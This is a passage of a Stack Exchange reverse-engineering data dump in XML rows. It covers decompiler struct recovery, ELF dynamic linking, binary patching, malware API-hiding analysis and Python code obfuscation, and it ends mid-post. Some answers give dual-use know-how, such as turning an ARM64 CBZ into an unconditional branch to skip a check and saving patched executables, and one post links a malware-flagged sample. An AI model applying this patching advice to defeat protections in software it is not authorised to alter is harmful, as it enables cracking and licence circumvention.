  <row Id="22632" PostTypeId="1" AcceptedAnswerId="22635" CreationDate="2019-11-28T14:03:39.120" Score="1" ViewCount="293" Body="&lt;p&gt;The title asks it all tho&#xA;But cheat engine will not allow you to save the patch binary so&#xA;what methods can I try to save it after I patch it in cheat engine?&lt;/p&gt;&#xA;" OwnerUserId="30295" LastActivityDate="2019-11-29T00:56:30.890" Title="How to save a binary after patching it in cheat engine?" Tags="|patching|cheat-engine|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22634" PostTypeId="1" AcceptedAnswerId="22641" CreationDate="2019-11-28T22:14:56.437" Score="4" ViewCount="881" Body="&lt;p&gt;I'm testing several decompilers about struct reconstruction, given the following &lt;code&gt;C&lt;/code&gt; example:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct S {&#xA;    int x;&#xA;    int y;&#xA;    long z;&#xA;    long t;&#xA;};&#xA;&#xA;int foo(struct S s) {&#xA;    return s.x + s.y + s.z + s.t;&#xA;}&#xA;&#xA;int main() {&#xA;    struct S s;&#xA;    s.x = 10; s.y = 15; s.z = 20; s.t = 25;&#xA;    return foo(s);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled without any optimization (even no stripping) using &lt;code&gt;clang&lt;/code&gt; as a 64-bit ELF, i.e. the ABI is &lt;code&gt;System V x86-64&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've supposed that this is a trivial case so the decent decompilers should give correct results, they are not unfortunately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following result is given by &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;IDA 7.4.191122&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)&#xA;{&#xA;  __int64 v3; // r8&#xA;  __int64 v4; // r9&#xA;&#xA;  return foo(*(__int64 *)&amp;amp;argc, (__int64)argv, (__int64)envp, 20LL, v3, v4, 0xF0000000ALL, 20, 25);&#xA;}&#xA;&#xA;__int64 __fastcall foo(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, int a8, int a9)&#xA;{&#xA;  return (unsigned int)(a9 + a8 + HIDWORD(a7) + a7);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, &lt;a href=&quot;https://www.pnfsoftware.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;JEB 3.7.0&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned long main() {&#xA;  return foo();&#xA;}&#xA;&#xA;unsigned long foo() {&#xA;  unsigned int v0 = v1 + v2;&#xA;  return (unsigned long)(((unsigned int)(((long)v0 + v3 + v4)));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;a href=&quot;https://ghidra-sre.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Ghidra 9.1&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void main(void)&#xA;{&#xA;  foo();&#xA;  return;&#xA;}&#xA;&#xA;ulong foo(void)&#xA;{&#xA;  int param_7;&#xA;  undefined8 param_7_00;&#xA;  int iStack000000000000000c;&#xA;  long param_8;&#xA;  long param_9;&#xA;&#xA;  return (param_7 + iStack000000000000000c) + param_8 + param_9 &amp;amp; 0xffffffff;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot say that the results are &quot;good&quot;, they are not even correct. Did I miss some configuration for these decompilers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Because of request from @Tobias, I've added assembly code for the functions (and changed &lt;code&gt;main&lt;/code&gt; into &lt;code&gt;bar&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is &lt;code&gt;foo&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x0         55                                   push rbp&#xA;0x1         48 89 e5                             mov rbp, rsp&#xA;0x4         48 8d 45 10                          lea rax, [rbp+0x10]&#xA;0x8         8b 08                                mov ecx, [rax]&#xA;0xa         03 48 08                             add ecx, [rax+0x8]&#xA;0xd         48 63 d1                             movsxd rdx, ecx&#xA;0x10        48 03 50 10                          add rdx, [rax+0x10]&#xA;0x14        48 03 50 18                          add rdx, [rax+0x18]&#xA;0x18        48 0f be 40 04                       movsx rax, byte ptr [rax+0x4]&#xA;0x1d        48 01 c2                             add rdx, rax&#xA;0x20        89 d0                                mov eax, edx&#xA;0x22        5d                                   pop rbp&#xA;0x23        c3                                   ret&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;code&gt;bar&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x30        55                                   push rbp&#xA;0x31        48 89 e5                             mov rbp, rsp&#xA;0x34        48 83 ec 40                          sub rsp, 0x40&#xA;0x38        c7 45 e0 0a 00 00 00                 mov dword ptr [rbp-0x20], 0xa&#xA;0x3f        c7 45 e8 0f 00 00 00                 mov dword ptr [rbp-0x18], 0xf&#xA;0x46        48 c7 45 f0 14 00 00 00              mov qword ptr [rbp-0x10], 0x14&#xA;0x4e        48 c7 45 f8 19 00 00 00              mov qword ptr [rbp-0x8], 0x19&#xA;0x56        c6 45 e4 1e                          mov byte ptr [rbp-0x1c], 0x1e&#xA;0x5a        48 8d 45 e0                          lea rax, [rbp-0x20]&#xA;0x5e        48 8b 08                             mov rcx, [rax]&#xA;0x61        48 89 0c 24                          mov [rsp], rcx&#xA;0x65        48 8b 48 08                          mov rcx, [rax+0x8]&#xA;0x69        48 89 4c 24 08                       mov [rsp+0x8], rcx&#xA;0x6e        48 8b 48 10                          mov rcx, [rax+0x10]&#xA;0x72        48 89 4c 24 10                       mov [rsp+0x10], rcx&#xA;0x77        48 8b 40 18                          mov rax, [rax+0x18]&#xA;0x7b        48 89 44 24 18                       mov [rsp+0x18], rax&#xA;0x80        e8 7b ff ff ff                       call foo&#xA;0x85        48 83 c4 40                          add rsp, 0x40&#xA;0x89        5d                                   pop rbp&#xA;0x8a        c3                                   ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2019-12-06T14:28:15.017" LastActivityDate="2019-12-06T14:28:15.017" Title="Struct reconstruction in decompilers" Tags="|decompilation|elf|struct|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22635" PostTypeId="2" ParentId="22632" CreationDate="2019-11-29T00:56:30.890" Score="0" Body="&lt;p&gt;I’m not entirely sure how you would use Cheat Engine to do that but I have done that quite a bit using Immunity/WinDbg. What you do is patch the portion you’re interested in and then apply the changes and write to a new exe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is something you see yourself doing quite a bit, you can program it and do it that way. If you end up going that route, you can use &lt;a href=&quot;https://github.com/erocarrera/pefile&quot; rel=&quot;nofollow noreferrer&quot;&gt;pefile&lt;/a&gt; with Python or put a little bit more work in and do it in C/CPP. &lt;/p&gt;&#xA;" OwnerUserId="29798" LastActivityDate="2019-11-29T00:56:30.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22637" PostTypeId="1" CreationDate="2019-11-29T10:47:38.417" Score="0" ViewCount="2149" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gQpUP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gQpUP.png&quot; alt=&quot;ARM64 assembly screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I want after running the &lt;strong&gt;&lt;code&gt;CBZ W0, loc_C5C8&lt;/code&gt;&lt;/strong&gt; command&#xA;Run to the &lt;strong&gt;&lt;code&gt;ADRP X8,#selRef_curent_version@PAGE&lt;/code&gt;&lt;/strong&gt; command &#xA;regardless of the condition (in picture), what should I do?&lt;/p&gt;&#xA;" OwnerUserId="30330" LastEditorUserId="60" LastEditDate="2019-11-29T12:12:17.657" LastActivityDate="2022-12-16T08:01:44.430" Title="How to Modify CBZ Branch in ARM64?" Tags="|ida|assembly|android|arm|patching|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22639" PostTypeId="1" CreationDate="2019-11-29T10:58:36.007" Score="2" ViewCount="100" Body="&lt;p&gt;I'm trying to analyze a malware which is hiding API names. When I open it with CFF Explorer, except a few API like &lt;code&gt;GetProcAddress&lt;/code&gt;, nothing appears. Basically, I know how API hiding works. I set a breakpoint on &lt;code&gt;GetProcAddress()&lt;/code&gt; and I ran it. Then I saw decoded API names like &lt;code&gt;OpenProcess&lt;/code&gt;, &lt;code&gt;CreateMutex&lt;/code&gt; etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I could not find its location in malware I'm analyzing. So, I cannot identify API parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Qbh25.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qbh25.png&quot; alt=&quot;Screenshot showing the &quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30331" LastEditorUserId="245" LastEditDate="2019-12-06T09:17:08.280" LastActivityDate="2019-12-06T09:17:08.280" Title="API Hiding Issue" Tags="|debugging|malware|obfuscation|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22640" PostTypeId="1" AcceptedAnswerId="22643" CreationDate="2019-11-29T12:21:21.150" Score="3" ViewCount="280" Body="&lt;p&gt;(in Windows) PE file format contains Import table with &lt;code&gt;Module\Dll Name&lt;/code&gt; which tells PE loader where to search for symbol e.g. &lt;code&gt;KERNEL32.dll -&amp;gt; CreateFileW&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the ELF file format there is &lt;code&gt;Symbol table&lt;/code&gt; with &lt;code&gt;info&lt;/code&gt; field which tells if the symbol is &lt;code&gt;Global\Local\Weak\etc.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how does the Unix loader know what is the module, shared object where to search for this symbol e.g. &lt;code&gt;???? -&amp;gt; snprintf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed objdump can dump this info &lt;code&gt;objdump -T /bin/ls&lt;/code&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/laK3P.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/laK3P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA; &lt;code&gt;GLIBC_2.2.5 snprintf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone with more knowledge on ELF file format shed some light on Unix dynamic-linking?&lt;/p&gt;&#xA;" OwnerUserId="2936" LastActivityDate="2019-11-29T13:28:11.263" Title="ELF file format find shared object for symbol" Tags="|elf|dynamic-linking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22641" PostTypeId="2" ParentId="22634" CreationDate="2019-11-29T13:18:00.063" Score="3" Body="&lt;p&gt;The default compilation options do not embed full debugging information, and a small structure passed by value is indistinguishable from a bunch of individual arguments passed in registers (see the ABI spec). You will get a slightly better output if you enable DWARF debug info generation (&lt;code&gt;-gdwarf&lt;/code&gt;). At least IDA can make use of DWARF info to import types, apply function arguments and local variable information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __cdecl foo(S s)&#xA;{&#xA;  return LODWORD(s.t) + LODWORD(s.z) + s.y + s.x;&#xA;}&#xA;int __cdecl main(int argc, const char **argv, const char **envp)&#xA;{&#xA;  S v4; // [rsp+0h] [rbp-40h]&#xA;&#xA;  *(_QWORD *)&amp;amp;v4.x = 0xF0000000ALL;&#xA;  v4.z = 20LL;&#xA;  v4.t = 25LL;&#xA;  return foo(v4);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-11-29T13:18:00.063" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22643" PostTypeId="2" ParentId="22640" CreationDate="2019-11-29T13:28:11.263" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how does the Unix loader know what is the module,&#xA;  shared object where to search for this symbol&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Short answer: it does not. It just searches the whole list of loaded modules until the symbol is found (or not). A small degree of control over more exact symbol matching can be achieved via versioned symbols but otherwise it's pretty much a free-for-all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By design, the ELF symbol space is &lt;strong&gt;global&lt;/strong&gt; (or flat) so any symbol can be &lt;em&gt;preempted&lt;/em&gt; by another module. This is used for example when &lt;a href=&quot;http://www.goldsborough.me/c/low-level/kernel/2016/08/29/16-48-53-the_-ld_preload-_trick/&quot; rel=&quot;nofollow noreferrer&quot;&gt;hooking symbols via LD_PRELOAD_LIBRARY environment variable&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-11-29T13:28:11.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22645" PostTypeId="2" ParentId="22634" CreationDate="2019-11-30T02:33:14.493" Score="5" Body="&lt;p&gt;There are several things in your example that makes it hard to decompile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;s&lt;/code&gt; is the first, and only, local (so on the stack) variable in main(). main() is troublesome, as it's more or less a vararg-function if you read the C++ standard, and as you can see atleast IDA guesses that you have three arguments on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You use both int and long in your struct definition, which may or may not create either padding of the stack or masking in the generated code. It can also be one way where you declare it (main) and another way when passing it by value to a (leaf-)function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, foo() is a leaf-function, meaning it will have a red-zone on the stack that could possibly be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try putting &lt;code&gt;s&lt;/code&gt; on the heap instead, and you will probably see a very different result :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does the disassembly look like?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Oh the disassembly really drives the point home! The point being that LLVM depends on how well-suited the IR is to optimization, as before optimization the code looks like someone who licks rocks built it from lego. And then threw the rock at it :D No wonder it confuses decompilers :) Look at that funny byte-size &quot;bonus parameter&quot; and the &quot;nonsensical&quot; movsx-instructions for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, serious face-time again. The red zone isn't used. The prologue isn't even needed as nothing is stored on the stack, all calculations are done on RCX and RAX. Now that you've gotten rid of any stack-variables in main(), the thing tripping you up is that you're passing a small, stack-allocated, structure by value. What in C looks like passing a single blob as argument is actually treating each field like a separate argument. I am guessing both IDA and Ghidra would be able to make sense of this if it wasn't for the &quot;alignment&quot;(?)-byte thrown in there. Or perhaps not, as the assembly might still look like it's passing four separate arguments on the stack :|&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tl;dr: clang generates really strange code unless optimized. Coupled with passing a stack-allocated struct by value it will confuse the hell out of both decompilers and sleepy reverse engineers such as myself. Take this opportunity to kick the habit of passing structs by-value and learn to love the const-refs ;)&lt;/p&gt;&#xA;" OwnerUserId="22252" LastEditorUserId="22252" LastEditDate="2019-11-30T12:28:25.803" LastActivityDate="2019-11-30T12:28:25.803" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="22646" PostTypeId="1" CreationDate="2019-11-30T15:33:10.553" Score="0" ViewCount="208" Body="&lt;p&gt;This program implements Diffie Hellman key Exchange, a pair of random private keys are generated every time the program runs. How should I go about finding the random number generation subroutine using a disassembler like IDA?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: The program is flagged as malware by Windows Defender.&lt;br&gt;&#xA;hxxps://drive.google.com/open?id=1uErzKPIV-HyOBunn0ecF6pehXJ_mDdGR&lt;/p&gt;&#xA;" OwnerUserId="30342" LastEditorUserId="4731" LastEditDate="2019-12-06T11:47:36.467" LastActivityDate="2019-12-06T11:47:36.467" Title="How to recover randomly generated private key from a Program that implements Diffie Hellman Exchange" Tags="|ida|disassembly|encryption|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22647" PostTypeId="1" AcceptedAnswerId="22649" CreationDate="2019-11-30T17:59:51.780" Score="1" ViewCount="106" Body="&lt;p&gt;Is it possible to call a function of a binary and obtain its result (without calling other functions), to isolate; are there any tools to do this?&lt;/p&gt;&#xA;" OwnerUserId="28528" LastActivityDate="2019-12-01T05:21:40.603" Title="Isolate the call to a function" Tags="|x86-64|assembly|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22648" PostTypeId="1" CreationDate="2019-11-30T22:46:17.110" Score="4" ViewCount="11572" Body="&lt;p&gt;I am developing proprietary software that would be distributed in a form of .exe file. In order to use it, users will have to authenticate with their whitelist credentials (username + password).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I have encountered is that in the industry I am selling on, there are a lot of &quot;hackers&quot; who will try to decompile your executable file, get the source code and distribute it for free to other people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To combat these reverse-engineering attempts, I have tried to both obfuscate my code and use various compilers, but so far to no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I have tried:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;code&gt;py2exe&lt;/code&gt; compiler: &quot;hackers&quot; managed to decompile executable in an hour.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;pyinstaller&lt;/code&gt; compiler: same as with &lt;code&gt;py2exe&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;pyminifier&lt;/code&gt; to obfuscate the code: &quot;hackers&quot; managed to deobfuscate the code.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;Oxyry Python Obfuscator&lt;/code&gt;: same as with &lt;code&gt;pyminifier&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Those who managed to decompile and deobfuscate my program explained that the open-source nature of those 4 tools means that their algorithms are well-known and there are solutions out there made to reverse-engineer programs that use these open-source compilers and obfuscators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I didn't try yet:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using &lt;code&gt;Pyarmor&lt;/code&gt; to obfuscate my code. I've heard it is good, but it costs 50$, so I want to be sure that it is the best obfuscation tool out there before purchasing the license.&lt;/li&gt;&#xA;&lt;li&gt;Using &lt;code&gt;Cython&lt;/code&gt; library to create a C-wrapper for my program, making it compiled in C instead of Python. Since C binaries are much harder to read, it will make the program significantly harder to decompile. However, I have never programmed in C, and I want to know if there are better ways to compile my source Python code, without the need to learn C.&lt;/li&gt;&#xA;&lt;li&gt;Using &lt;code&gt;VMProtect&lt;/code&gt;, &lt;code&gt;Enigma Protector&lt;/code&gt; or &lt;code&gt;Themida/Code Virtualizer&lt;/code&gt;. Each tool costs over 150$, so before purchasing them, I want to know if that would be the best way to solve my problem.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I am not going to try:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Completely rewrite my whole program in a language other than Python. I am not strong in other languages, plus the program itself consists of over 5,000 lines of code, so I can't just completely rewrite it for the sole purpose of making it harder to decompile.&lt;/li&gt;&#xA;&lt;li&gt;Making program open-source: This is a for-profit software, so I am not going to release the proprietary code, thank you for understanding.&lt;/li&gt;&#xA;&lt;li&gt;Making the program a web-app: Since my program directly interacts with files on the user's PC, I can't make it web-based, it has to be on the user's PC.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please also consider that if &quot;hacker&quot; will be able to disable the whitelist system without even accessing the source code, he will be able to distribute it to other users with no limitation. Therefore, I am looking for a way that will not only make it extremely hard to decompile the program, but also make it almost impossible to meddle with bytecode/binaries and turn off certain parts of the program's code.&lt;/p&gt;&#xA;" OwnerUserId="30346" LastActivityDate="2020-02-06T20:50:49.833" Title="Best way to protect source code of .exe program running on Python?" Tags="|decompilation|c|python|obfuscation|executable|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22649" PostTypeId="2" ParentId="22647" CreationDate="2019-12-01T05:21:40.603" Score="3" Body="&lt;p&gt;You can use Ida's &lt;a href=&quot;https://hex-rays.com/products/ida/support/tutorials/debugging_appcall.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Appcall&lt;/a&gt; functionality:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Appcall is a mechanism to call functions inside the debugged program&#xA;  from the debugger or your script as if it were a built-in function.&#xA;  Such a mechanism can be used for debugging, fuzzing and testing&#xA;  applications. Appcall mechanism highly depends on the type information&#xA;  of the function to be called. For that reason it is necessary to have&#xA;  a correct function prototype before doing an Appcall, otherwise&#xA;  different or incorrect results may be returned.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If it's an elf and you don't have Ida, &lt;a href=&quot;https://lief.quarkslab.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;LIEF&lt;/a&gt; is a good option. You can see a tutorial to export an internal function and call it &lt;a href=&quot;https://lief.quarkslab.com/doc/latest/tutorials/08_elf_bin2lib.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2019-12-01T05:21:40.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22650" PostTypeId="2" ParentId="22637" CreationDate="2019-12-01T10:25:45.993" Score="1" Body="&lt;p&gt;CBZ is a compare and branch if zero.&lt;/p&gt;&#xA;&lt;p&gt;It does not affect flags, which means that the compare part has no effect other than branching or not.&lt;/p&gt;&#xA;&lt;p&gt;You can simply patch the &lt;code&gt;CBZ&lt;/code&gt; into a &lt;code&gt;B&lt;/code&gt; instruction.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastEditorUserId="245" LastEditDate="2022-12-16T08:01:44.430" LastActivityDate="2022-12-16T08:01:44.430" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22651" PostTypeId="2" ParentId="22631" CreationDate="2019-12-01T20:43:41.187" Score="1" Body="&lt;p&gt;I found the answer:&#xA;its not CRC, but rather: 16 - (Sum of Byte 0 to 7 % 16)&lt;/p&gt;&#xA;" OwnerUserId="30313" LastActivityDate="2019-12-01T20:43:41.187" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22652" PostTypeId="2" ParentId="22648" CreationDate="2019-12-01T22:21:56.613" Score="8" Body="&lt;p&gt;There are ways to make a Python program hard to reverse engineer. Its' possible but you need to fiddle with the &lt;a href=&quot;https://github.com/python/cpython&quot; rel=&quot;noreferrer&quot;&gt;Python source code&lt;/a&gt; (which is written in C) and compile a special build for your purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way Python works is fully documented and open-source. For instance, consider the pyc file format. Much of the code which deals with reading/writing pyc's can be found in &lt;a href=&quot;https://github.com/python/cpython/blob/master/Python/marshal.c&quot; rel=&quot;noreferrer&quot;&gt;marshal.c&lt;/a&gt; If you modify the code and reorder the sequence in which the objects are read/written you can easily throw off decompilers. To further strengthen the protection, you can encrypt the bytecode which will be decrypted only at run-time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another technique commonly used is opcode remapping. The set of bytecode instructions in Python can be found in &lt;a href=&quot;https://github.com/python/cpython/blob/master/Include/opcode.h&quot; rel=&quot;noreferrer&quot;&gt;opcode.h&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider these two instructions&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define DUP_TOP_TWO               5&#xA;&#xA;#define BINARY_TRUE_DIVIDE       27&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can interchange the opcodes for these instructions. As a result the bytecode will only be understood by your custom Python build. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The earlier versions of Dropbox were developed in Python and they used some of the above techniques to harden their code but as is the case with any DRM system, it was eventually reverse engineered and analyzed. There's a &lt;a href=&quot;https://github.com/kholia/dedrop/blob/master/paper/resources/Reversing%20obfuscated%20python%20applications%20-%20Breaking%20the%20Dropbox%20client%20on%20Windows.pdf&quot; rel=&quot;noreferrer&quot;&gt;write-up of this process&lt;/a&gt; which you can study for further reference. (Disclaimer: I'm the author of the write-up but not the owner of the GitHub repo).&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2019-12-01T22:21:56.613" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22654" PostTypeId="1" CreationDate="2019-12-02T05:23:43.747" Score="0" ViewCount="310" Body="&lt;p&gt;From:&lt;a href=&quot;https://www.tendacn.com/en/download/detail-3482.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tendacn.com/en/download/detail-3482.html&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Lzlci.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lzlci.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im trying to find loading address (entry point of my program) for this binary, which is part off this firmware. Im trying to load it inside of IDA, how can I correctly load it, how to find entry point address?&#xA;binwalk's output:&lt;/p&gt;&#xA;" OwnerUserId="30358" LastEditorUserId="30358" LastEditDate="2019-12-02T05:30:54.787" LastActivityDate="2019-12-02T05:30:54.787" Title="How can I find loading adress of eCos firmware" Tags="|binary-analysis|firmware|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22656" PostTypeId="1" CreationDate="2019-12-02T12:29:08.960" Score="1" ViewCount="391" Body="&lt;p&gt;Probably I'm little ot but I'm unsure where to ask this.&#xA;Is there any easy (already working) way to export my logic analyzer data (vcd format) to a protocol analyzer like Wireshark? I'm analyzing an USB stream.&lt;/p&gt;&#xA;" OwnerUserId="29722" LastEditorUserId="245" LastEditDate="2019-12-06T09:33:41.170" LastActivityDate="2019-12-06T09:33:41.170" Title="Export logic analyzer data to protocol analyzer" Tags="|hardware|usb|wireshark|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22658" PostTypeId="1" CreationDate="2019-12-02T15:45:06.873" Score="5" ViewCount="390" Body="&lt;p&gt;Consider a stream of data packets of a known and consistent size, i.e., &lt;em&gt;N&lt;/em&gt; bytes per packet.&#xA;&lt;strong&gt;Are there existing tools that automatically detect (or estimate) the various data types present and their arrangement in the packet?&lt;/strong&gt;&#xA;My goal is to convert the data stream into a handful of time-series data signals by&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;deducing the arrangement and types of the data in the stream and&lt;/li&gt;&#xA;&lt;li&gt;extracting each variable into its own signal array.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For example, the packet might consist of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[double double int32 single int8 int8 int8 int8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but all I know is that the packet is 28 bytes long.&#xA;Let's assume that the only possible data types in the stream are: &lt;code&gt;double&lt;/code&gt;, &lt;code&gt;single&lt;/code&gt;, &lt;code&gt;int32&lt;/code&gt;, &lt;code&gt;int16&lt;/code&gt;, or &lt;code&gt;uint8&lt;/code&gt;.&#xA;(I don't particularly care if I can disambiguate between &lt;code&gt;char&lt;/code&gt;, &lt;code&gt;int8&lt;/code&gt;, or &lt;code&gt;uint8&lt;/code&gt;.)&#xA;Let's also assume everything is stored in bytes (no single bit flags or anything).&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Some ideas&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Basically what I've tried so far is to exhaustively try every possible combination and arrangement of data types and then apply some heuristics to eliminate possibilities.&#xA;For example, I'll cast each set of 8 bytes as a double, shifting over 1 byte at a time, and then compute the variance of the resulting signal.&#xA;If the variance of the signal is &gt;1e100, then we can probably safely say we've misidentified the type.&#xA;The problems that this approach runs into are that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the heuristics are hard coded and not dependent on the data&lt;/li&gt;&#xA;&lt;li&gt;the algorithm can easily mis-classify things, e.g., it can't necessarily differentiate between an &lt;code&gt;int32&lt;/code&gt; and a 